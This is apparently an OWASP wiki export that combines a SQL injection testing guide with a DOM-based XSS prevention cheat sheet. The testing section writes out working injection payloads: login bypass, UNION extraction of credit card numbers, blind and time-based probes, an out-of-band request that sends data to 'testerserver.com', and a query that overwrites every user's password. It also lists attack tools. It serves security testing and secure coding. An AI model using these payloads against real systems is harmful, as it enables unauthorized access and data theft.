Consider the following SQL query:

<pre>SELECT * FROM Users WHERE Username='$username' AND Password='$password'</pre>

A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:

<pre>$username = 1' or '1' = '1</pre>

<pre>$password = 1' or '1' = '1</pre>

The query will be:

<pre>SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' </pre>

If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&password=1'%20or%20'1'%20=%20'1 </pre>

After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password. ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:

<pre>SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) </pre>

In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is "--". This said, the values that we'll use as Username and Password are:

<pre>$username = 1' or '1' = '1'))/*</pre>

<pre>$password = foo</pre>

In this way, we'll get the following query:

<pre>SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) </pre>
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)

The URL request will be:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&password=foo </pre>

This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

<pre>$username = 1' or '1' = '1')) LIMIT 1/* </pre>

<pre>$password = foo </pre>

In this way, we create a request like the follow:

<pre>http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&password=foo </pre>

Example 2 (simple SELECT statement):

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

<pre>http://www.example.com/product.php?id=10 AND 1=2</pre>

<pre>SELECT * FROM products WHERE id_product=10 AND 1=2</pre>

In this case, probably the application would return some message telling us there is no content available or a blank page. Then
the tester can send a true statement and check if there is a valid result:

<pre>http://www.example.com/product.php?id=10 AND 1=1</pre>

Example 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

A way to exploit the above scenario would be:

<pre>http://www.example.com/product.php?id=10; INSERT INTO users (…)</pre>

This way is possible to execute many queries in a row and independent of the first query.

==== Fingerprinting the Database ====

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

<pre>You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near '\'' at line 1</pre>

Oracle:

<pre>ORA-00933: SQL command not properly ended</pre>

MS SQL Server:

<pre>Microsoft SQL Native Client error ‘80040e14’
Unclosed quotation mark after the character string</pre>

PostgreSQL:

<pre>Query failed: ERROR: syntax error at or near
"’" at character 56 in /www/site/test.php on line 121.</pre>

2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

MySql: ‘test’ + ‘ing’

SQL Server: ‘test’ ‘ing’

Oracle: ‘test’||’ing’

PostgreSQL: ‘test’||’ing’

===Exploitation Techniques ===

==== Union Exploitation Technique ====

The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:

SELECT Name, Phone, Address FROM Users WHERE Id=$id

We will set the following $id value:

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

We will have the following query:

SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.

In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:

<pre>http://www.example.com/product.php?id=10 ORDER BY 10--</pre>

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:

<pre>Unknown column '10' in 'order clause'</pre>

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,null,null--</pre>

If the query fails, the tester will probably see a message like:

<pre>All cells in a column must have the same datatype</pre>

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

<pre>http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--</pre>

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

<pre>http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--</pre>

==== Boolean Exploitation Technique ====

The Boolean exploitation technique is very useful when the tester finds a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect). 

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

<pre>http://www.example.com/index.php?id=1'</pre>

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
</pre>

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions:

'''SUBSTRING (text, start, length)''': returns a substring starting from the position "start" of text and of length
"length". If "start" is greater than the length of text, the function returns a null value.

'''ASCII (char)''': it gives back ASCII value of the input character. A null value is returned if char is 0.

'''LENGTH (text)''': it gives back the number of characters in the input text.

Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for ''Id'':

<pre>$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
</pre>

That creates the following query (from now on, we will call it "inferential query"):

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'
</pre>

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for ''Id'':

<pre>$Id=1' AND '1' = '2
</pre>

Which will create the following query:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2'
</pre>

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order
to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character.

We will insert the following value for the field ''Id'':

<pre>$Id=1' AND LENGTH(username)=N AND '1' = '1
</pre>

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

<pre>SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'
</pre>

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.

The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.

==== Error based Exploitation technique ====

An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. Oracle 10g):

<pre>http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

<pre>ORA-292257: host SCOTT unknown</pre>

Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.

==== Out of band Exploitation technique ====

This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be:

<pre>http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--</pre>

In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver (e.g. Apache) or use the Netcat tool:

/home/tester/nc –nLp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close

==== Time delay Exploitation technique ====

The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).

Consider the following SQL query:

<pre>SELECT * FROM products WHERE id_product=$id_product</pre>

Consider also the request to a script who executes the query above:

<pre>http://www.example.com/product.php?id=10</pre>

The malicious request would be (e.g. MySql 5.x):

<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre>

In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.

==== Stored Procedure Injection ====

When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.

Consider the following '''SQL Server Stored Procedure:'''

Create procedure user_login @username varchar(20), @passwd varchar(20)
As
Declare @sqlstring varchar(250)
Set @sqlstring = ‘
Select 1 from users
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd
exec(@sqlstring)
Go

User input:
anyusername or 1=1'
anypassword

This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters. 

NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. 

Consider the following '''SQL Server Stored Procedure:'''

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = ‘
Select ‘ + @columnamelist + ‘ from ReportTable‘
exec(@sqlstring)
Go

User input:

1 from users; update users set password = 'password'; select *

This will result in the report running and all users’ passwords being updated.

==== Automated Exploitation ====

Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:

https://www.owasp.org/index.php/Automated_Audit_using_SQLMap

==Tools==
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector] 
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools] 
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper] 
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

== References ==

* [[Top 10 2013-A1-Injection]]
* [[SQL Injection]]

Technology specific Testing Guide pages have been created for the following DBMSs:
* [[Testing for Oracle| Oracle]]
* [[Testing for MySQL| MySQL]]
* [[Testing for SQL Server | SQL Server]]

'''Whitepapers''' 

* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
* Kevin Spett from SPI Dynamics: "SQL Injection" - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf

'''Documentation on SQL injection vulnerabilities in products'''

* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]

DOM based XSS Prevention Cheat Sheet

2016-03-03T17:44:36Z

Thompsnm: /* Introduction */ - standardize the casing in the word 'javascript'

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

When looking at XSS (Cross-Site Scripting), there are three generally recognized forms of [[XSS]]. [[XSS#Stored_and_Reflected_XSS_Attacks | Reflected, Stored]], and [[DOM Based XSS]]. The [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]] does an excellent job of addressing Reflected and Stored XSS. This cheatsheet addresses DOM (Document Object Model) based XSS and is an extension (and assumes comprehension of) the [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet | XSS Prevention Cheatsheet]].

In order to understand DOM based XSS, one needs to see the fundamental difference between Reflected and Stored XSS when compared to DOM based XSS. The primary difference is where the attack is injected into the application. Reflected and Stored XSS are server side injection issues while DOM based XSS is a client (browser) side injection issue. All of this code originates on the server, which means it is the application owner's responsibility to make it safe from XSS, regardless of the type of XSS flaw it is. Also, XSS attacks always execute in the browser. The difference between Reflected/Stored XSS is where the attack is added or injected into the application. With Reflected/Stored the attack is injected into the application during server-side processing of requests where untrusted input is dynamically added to HTML. For DOM XSS, the attack is injected into the application during runtime in the client directly.

When a browser is rendering HTML and any other associated content like CSS, JavaScript, etc. it identifies various rendering contexts for the different kinds of input and follows different rules for each context. A rendering context is associated with the parsing of HTML tags and their attributes. The HTML parser of the rendering context dictates how data is presented and laid out on the page and can be further broken down into the standard contexts of HTML, HTML attribute, URL, and CSS. The JavaScript or VBScript parser of an execution context is associated with the parsing and execution of script code. Each parser has distinct and separate semantics in the way they can possibly execute script code which make creating consistent rules for mitigating vulnerabilities in various contexts difficult. The complication is compounded by the differing meanings and treatment of encoded values within each subcontext (HTML, HTML attribute, URL, and CSS) within the execution context.

For the purposes of this article, we refer to the HTML, HTML attribute, URL, and CSS Cheatsheet contexts as subcontexts because each of these contexts can be reached and set within a JavaScript execution context. In JavaScript code, the main context is JavaScript but with the right tags and context closing characters, an attacker can try to attack the other 4 contexts using equivalent JavaScript DOM methods. 

The following is an example vulnerability which occurs in the JavaScript context and HTML subcontext: 

<code>
<script>
var x = ‘<%= taintedVar %>’;
var d = document.createElement(‘div’);
d.innerHTML = x;
document.body.appendChild(d);
</script>
</code>

Let’s look at the individual subcontexts of the execution context in turn.

==RULE #1 - HTML Escape then JavaScript Escape Before Inserting Untrusted Data into HTML Subcontext within the Execution Context==

There are several methods and attributes which can be used to directly render HTML content within JavaScript. These methods constitute the HTML Subcontext within the Execution Context. If these methods are provided with untrusted input, then an XSS vulnerability could result. For example:

===Example Dangerous HTML Methods===
====Attributes====
<code>
element.innerHTML = “<HTML> Tags and markup”;
element.outerHTML = “<HTML> Tags and markup”;
</code>

====Methods====
<code>
document.write(“<HTML> Tags and markup”);
document.writeln(“<HTML> Tags and markup”);
</code>

===Guideline===
To make dynamic updates to HTML in the DOM safe, we recommend a) HTML encoding, and then b) JavaScript encoding all untrusted input, as shown in these examples:

<code>
element.innerHTML = “<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”;
element.outerHTML = “<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”;
</code>

<code>
document.write(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”);
document.writeln(“<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>”);
</code>

Note: The Encoder.encodeForHTML() and Encoder.encodeForJS() are just notional encoders. Various options for actual encoders are listed later in this document.

== RULE #2 - JavaScript Escape Before Inserting Untrusted Data into HTML Attribute Subcontext within the Execution Context ==

The HTML attribute *subcontext* within the *execution* context is divergent from the standard encoding rules. This is because the rule to HTML attribute encode in an HTML attribute rendering context is necessary in order to mitigate attacks which try to exit out of an HTML attributes or try to add additional attributes which could lead to XSS. When you are in a DOM execution context you only need to JavaScript encode HTML attributes which do not execute code (attributes other than event handler, CSS, and URL attributes).

For example, the general rule is to HTML Attribute encode untrusted data (data from the database, HTTP request, user, back-end system, etc.) placed in an HTML Attribute. This is the appropriate step to take when outputting data in a rendering context, however using HTML Attribute encoding in an execution context will break the application display of data.

=== SAFE but BROKEN example===
<code>
var x = document.createElement(“input”);
x.setAttribute(“name”, “company_name”);
// In the following line of code, companyName represents untrusted user input
// The Encoder.encodeForHTMLAttr() is unnecessary and causes double-encoding
x.setAttribute(“value”, ‘<%=Encoder.encodeForJS(Encoder.encodeForHTMLAttr(companyName))%>’);
var form1 = document.forms[0];
form1.appendChild(x);
</code>

The problem is that if companyName had the value “Johnson & Johnson”. What would be displayed in the input text field would be “Johnson &amp; Johnson”. The appropriate encoding to use in the above case would be only JavaScript encoding to disallow an attacker from closing out the single quotes and in-lining code, or escaping to HTML and opening a new script tag.

===SAFE and FUNCTIONALLY CORRECT example===
<code>
var x = document.createElement(“input”);
x.setAttribute(“name”, “company_name”);
x.setAttribute(“value”, ‘<%=Encoder.encodeForJS(companyName)%>’);
var form1 = document.forms[0];
form1.appendChild(x);
</code>

It is important to note that when setting an HTML attribute which does not execute code, the value is set directly within the object attribute of the HTML element so there is no concerns with injecting up.

==RULE #3 - Be Careful when Inserting Untrusted Data into the Event Handler and JavaScript code Subcontexts within an Execution Context==

Putting dynamic data within JavaScript code is especially dangerous because JavaScript encoding has different semantics for JavaScript encoded data when compared to other encodings. In many cases, JavaScript encoding does not stop attacks within an execution context. For example, a JavaScript encoded string will execute even though it is JavaScript encoded.

Therefore, the primary recommendation is to avoid including untrusted data in this context. If you must, the following examples describe some approaches that do and do not work.

<code>
var x = document.createElement("a");
x.href="#”;
// In the line of code below, the encoded data on the right (the second argument to setAttribute)
// is an example of untrusted data that was properly JavaScript encoded but still executes.
x.setAttribute("onclick", "\u0061\u006c\u0065\u0072\u0074\u0028\u0032\u0032\u0029");
var y = document.createTextNode("Click To Test");
x.appendChild(y);
document.body.appendChild(x);
</code>

The setAttribute(name_string,value_string) method is dangerous because it implicitly coerces the string_value into the DOM attribute datatype of name_string. In the case above, the attribute name is an JavaScript event handler, so the attribute value is implicitly converted to JavaScript code and evaluated. In the case above, JavaScript encoding does not mitigate against DOM based XSS. Other JavaScript methods which take code as a string types will have a similar problem as outline above (setTimeout, setInterval, new Function, etc.). This is in stark contrast to JavaScript encoding in the event handler attribute of a HTML tag (HTML parser) where JavaScript encoding mitigates against XSS. 

<code>

<a id="bb" href="#" onclick="\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"> Test Me</a>
</code>

An alternative to using Element.setAttribute(...) to set DOM attributes is to set the attribute directly. Directly setting event handler attributes will allow JavaScript encoding to mitigate against DOM based XSS. Please note, it is always dangerous design to put untrusted data directly into a command execution context. 

<code>
<a id="bb" href="#"> Test Me</a>
</code>
<code>
//The following does NOT work because the event handler is being set to a string. "alert(7)" is JavaScript encoded.
document.getElementById("bb").onclick = "\u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0029";

//The following does NOT work because the event handler is being set to a string.
document.getElementById("bb").onmouseover = "testIt";

//The following does NOT work because of the encoded "(" and ")". "alert(77)" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0061\u006c\u0065\u0072\u0074\u0028\u0037\u0037\u0029;

//The following does NOT work because of the encoded ";". "testIt;testIt" is JavaScript encoded.
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074\u003b\u0074\u0065\u0073\u0074\u0049\u0074;

//The following DOES WORK because the encoded value is a valid variable name or function reference. "testIt" is JavaScript encoded
document.getElementById("bb").onmouseover = \u0074\u0065\u0073\u0074\u0049\u0074;

function testIt() {

alert("I was called.");
}

</code>

There are other places in JavaScript where JavaScript encoding is accepted as valid executable code. 

<code>
for ( var \u0062=0; \u0062 < 10; \u0062++){
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065\u006c\u006e
("\u0048\u0065\u006c\u006c\u006f\u0020\u0057\u006f\u0072\u006c\u0064");
}
\u0077\u0069\u006e\u0064\u006f\u0077
.\u0065\u0076\u0061\u006c
\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074
.\u0077\u0072\u0069\u0074\u0065(111111111);
</code>

or

<code>
var s = "\u0065\u0076\u0061\u006c";
var t = "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029";
window[s](t);
</code>

Because JavaScript is based on an international standard (ECMAScript), JavaScript encoding enables the support of international characters in programming constructs and variables in addition to alternate string representations (string escapes).

However the opposite is the case with HTML encoding. HTML tag elements are well defined and do not support alternate representations of the same tag. So HTML encoding cannot be used to allow the developer to have alternate representations of the <code><a></code> tag for example.

===HTML Encoding’s Disarming Nature===

In general, HTML encoding serves to castrate HTML tags which are placed in HTML and HTML attribute contexts.
Working example (no HTML encoding):

<code>
<a href=”…” >
</code>

Normally encoded example (Does Not Work – DNW):

<code>
&#x3c;a href=… &#x3e;
</code>

HTML encoded example to highlight a fundamental difference with JavaScript encoded values (DNW):

<code>
<&#x61; href=…>
</code>

If HTML encoding followed the same semantics as JavaScript encoding. The line above could have possibily worked to render a link. This difference makes JavaScript encoding a less viable weapon in our fight against XSS.

==RULE #4 - JavaScript Escape Before Inserting Untrusted Data into the CSS Attribute Subcontext within the Execution Context==

Normally executing JavaScript from a CSS context required either passing <code>javascript:attackCode()</code> to the CSS url() method or invoking the CSS expression() method passing JavaScript code to be directly executed. From my experience, calling the expression() function from an execution context (JavaScript) has been disabled. In order to mitigate against the CSS url() method, ensure that you are URL encoding the data passed to the CSS url() method.

<code>
document.body.style.backgroundImage = "url(<%=Encoder.encodeForJS(Encoder.encodeForURL(companyName))%>)";
</code>

TODO: We have not been able to get the expression() function working from DOM JavaScript code. Need some help.

== RULE #5 - URL Escape then JavaScript Escape Before Inserting Untrusted Data into URL Attribute Subcontext within the Execution Context ==

The logic which parses URLs in both execution and rendering contexts looks to be the same. Therefore there is little change in the encoding rules for URL attributes in an execution (DOM) context.

var x = document.createElement(“a”);
x.setAttribute(“href”, ‘<%=Encoder.encodeForJS(Encoder.encodeForURL(userRelativePath))%>’);
var y = document.createTextElement(“Click Me To Test”);
x.appendChild(y);
document.body.appendChild(x);

If you utilize fully qualified URLs then this will break the links as the colon in the protocol identifier (“http:” or “javascript:”) will be URL encoded preventing the “http” and “javascript” protocols from being invoked.

== RULE #6 - Populate the DOM using safe JavaScript functions or properties ==

The most fundamental safe way to populate the DOM with untrusted data is to use the safe assignment property, textContent. Here is an example of safe usage.

<code>
<script>
element.textContent = “<%=untrustedData%>”; //does not executes code
</script>
</code>

=Guidelines for Developing Secure Applications Utilizing JavaScript=

DOM based XSS is extremely difficult to mitigate against because of its large attack surface and lack of standardization across browsers. The guidelines below are an attempt to provide guidelines for developers when developing Web based JavaScript applications (Web 2.0) such that they can avoid XSS.

1. Untrusted data should only be treated as displayable text. Never treat untrusted data as code or markup within JavaScript code. 
2. Always JavaScript encode and delimit untrusted data as quoted strings when entering the application (Jim Manico and Robert Hansen) 
<code>
var x = “<%=encodedJavaScriptData%>”;
</code>
3. Use <code>document.createElement(“…”), element.setAttribute(“…”,”value”), element.appendChild(…)</code>, etc. to build dynamic interfaces. Please note, element.setAttribute is only safe for a limited number of attributes. Dangerous attributes include any attribute that is a command execution context, such as onclick or onblur. Examples of safe attributes includes align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width. 
4. Avoid use of HTML rendering methods: 
#<code>element.innerHTML = “…”; </code>
#<code>element.outerHTML = “…”; </code>
#<code>document.write(…); </code>
#<code>document.writeln(…); </code> 
5. Understand the dataflow of untrusted data through your JavaScript code. If you do have to use the methods above remember to HTML and then JavaScript encode the untrusted data (Stefano Di Paola). 
6. There are numerous methods which implicitly eval() data passed to it. Make sure that any untrusted data passed to these methods is delimited with string delimiters and enclosed within a closure or JavaScript encoded to N-levels based on usage, and wrapped in a custom function. Ensure to follow step 4 above to make sure that the untrusted data is not sent to dangerous methods within the custom function or handle it by adding an extra layer of encoding. 

Utilizing an Enclosure (as suggested by Gaz)

The example that follows illustrates using closures to avoid double JavaScript encoding.

<code>
setTimeout((function(param) { return function() {
customFunction(param);
}
})("<%=Encoder.encodeForJS(untrustedData)%>"), y);
</code>

The other alternative is using N-levels of encoding. 

N-Levels of Encoding 

If your code looked like the following, you would need to only double JavaScript encode input data.

<code>
setTimeout(“customFunction(‘<%=doubleJavaScriptEncodedData%>’, y)”);
function customFunction (firstName, lastName)
alert("Hello" + firstName + " " + lastNam);
}
</code>

